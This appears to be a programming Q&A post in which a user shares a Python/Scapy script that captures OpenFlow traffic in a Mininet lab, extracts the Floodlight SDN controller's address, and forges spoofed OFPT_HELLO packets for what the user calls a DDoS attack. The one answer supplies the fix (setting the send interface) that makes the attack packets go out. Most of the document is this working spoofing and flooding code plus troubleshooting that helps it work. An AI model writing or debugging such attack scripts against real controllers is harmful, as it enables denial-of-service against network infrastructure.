Unable to create OpenFlow13 message with Scapy

Question

I am writing a code where I am capturing openflow13 packets using tcpdump and wireshark. I am running mininet topo and floodlight SDN controller. Once I get my SDN controller IP and port details from the capture, I intent to create multiple OFPTHello messages and send it to the SDN Controller [sort of DDoS attack]. Although I am able to extract the controller's details, I am unable to create Scapy OFPTHello message packets.

Request to please help me identify and resolve the issue

Mininet Topo I am running-

sudo mn --topo=linear,4 --mac --controller=remote,ip=192.168.56.102 --switch=ovsk,protocols=OpenFlow13

My Code-

#!/usr/bin/env python3

try:
        import time
        import subprocess
        import json
        import sys
        from scapy.all import *
        from scapy.contrib.openflow import _ofp_header
        from scapy.fields import ByteEnumField, IntEnumField, IntField, LongField, PacketField, ShortField, XShortField
        from scapy.layers.l2 import Ether


        ofp_table = {0xfe: "MAX",
                     0xff: "ALL"}

        ofp_buffer = {0xffffffff: "NO_BUFFER"}

        ofp_version = {0x04: "OpenFlow 1.3"}

        ofp_type = {0: "OFPT_HELLO"}

        class OFPHET(_ofp_header):
                @classmethod
                def dispatch_hook(cls, _pkt=None, *args, **kargs):
                        if _pkt and len(_pkt) >= 2:
                                t = struct.unpack("!H", _pkt[:2])[0]
                                return ofp_hello_elem_cls.get(t, Raw)
                        return Raw
                def extract_padding(self, s):
                        return b"", s
    class OFPTHello(_ofp_header):
            name = "OFPT_HELLO"
            fields_desc = [ByteEnumField("version", 0x04, ofp_version),
                       ByteEnumField("type", 0, ofp_type),
                       ShortField("len", None),
                       IntField("xid", 0),
                       PacketListField("elements", [], OFPHET, length_from=lambda pkt: pkt.len - 8)]

    # Capture controller's IP address and Port
    Hello_Msg = []
    Switch_TCP_Port = []
    p = subprocess.Popen(['sudo', 'tcpdump', '-i', 'eth1', 'port', '6653', '-w', 'capture.pcap'], stdin=subprocess.PIPE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
    time.sleep(45)
    p.terminate()

    captures = rdpcap('capture.pcap')

    for capture in captures:
            msg = (capture.summary()).split(" ")
            i = len(msg)
            if (msg[i-1] == "OFPTFeaturesRequest"):
                    Features_Request = capture.summary()
                    break;
            elif (msg[i-1] == "OFPTHello"):
                    Hello_Msg.append(capture.summary())

    for Hello in Hello_Msg:
            frame = Hello.split("/")[2]
            port = ((frame.split(" ")[2]).split(":"))[1]
            Switch_TCP_Port.append(port)

    Features_Request = Features_Request.split("/")[2]
    Source_Frame = (Features_Request.split(" ")[2]).split(":")

    Controller_IP = Source_Frame[0]
    Controller_Port = int(Source_Frame[1])

    print("\nController's IP Address: %s"%Controller_IP)
    print("Controller's Port: %s"%Controller_Port)


    # Generating Openfow PAcket_In using Scapy
    for p in Switch_TCP_Port:
            p = int(p)
            packet = Ether(src='08:00:27:fa:75:e9',dst='08:00:27:f1:24:22')/IP(src='192.168.56.101',dst=Controller_IP)/TCP(sport=p,dport=Controller_Port)/OFPTHello()
            send(packet)

except ImportError as e:
        print ("\n!!! ImportError !!!")
        print ("{0}. Install it.\n".format(e))

Wireshark Capture- [Only has 4 hello packets, no Scapy packets are captured]

Question/Issue- I am able to receive the ideal number of 4 hello packets from the mininet topology. However, the new hello packets I am trying to create using scapy are not being sent/ captured by wireshark. I have attached my scapy code for reference.

Answer 1

In your code do this

modify the line:

send(packet)

To

send(packet,iface='eth1') where eth1 is the egress interface of the attacking VM

The reason is that even if a malformed Openflow packet is put on the wire, Wireshark will still be able to capture it, assuming your attack VM has a route to the controller VM. This means that your code is not putting the Packet on the right wire, send(packet,iface='eth1') will put it on the right wire.